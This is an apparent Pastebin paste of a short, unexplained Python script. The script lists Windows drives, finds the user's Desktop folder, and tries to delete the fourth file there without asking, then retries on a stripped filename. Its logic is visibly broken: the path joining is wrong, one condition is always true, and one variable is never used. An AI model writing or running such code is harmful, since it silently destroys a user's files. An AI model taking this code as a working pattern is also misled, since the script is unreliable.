Advertisement
Guest User

Untitled

a guest
May 25th, 2019
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.45 KB | None | 0 0
  1. import os
  2.  
  3. dl = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
  4. drives = ['%s:' % d for d in dl if os.path.exists('%s:' % d)]
  5.  
  6.  
  7. x = os.environ.get('HOME')
  8. xa = x+'\Desktop'
  9.  
  10. ffs = os.listdir(xa)
  11.  
  12. try:
  13. os.remove(xa + ffs[3])
  14. except:
  15. error_ffs= ffs[3].split('.')
  16. if 'lnk' or 'doc' in error_ffs:
  17. error_ffs.pop()
  18. try:
  19. os.remove(error_ffs[0])
  20. except:
  21. error_ffs.clear()
  22.  
  23.  
  24.  
  25. print(error_ffs)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement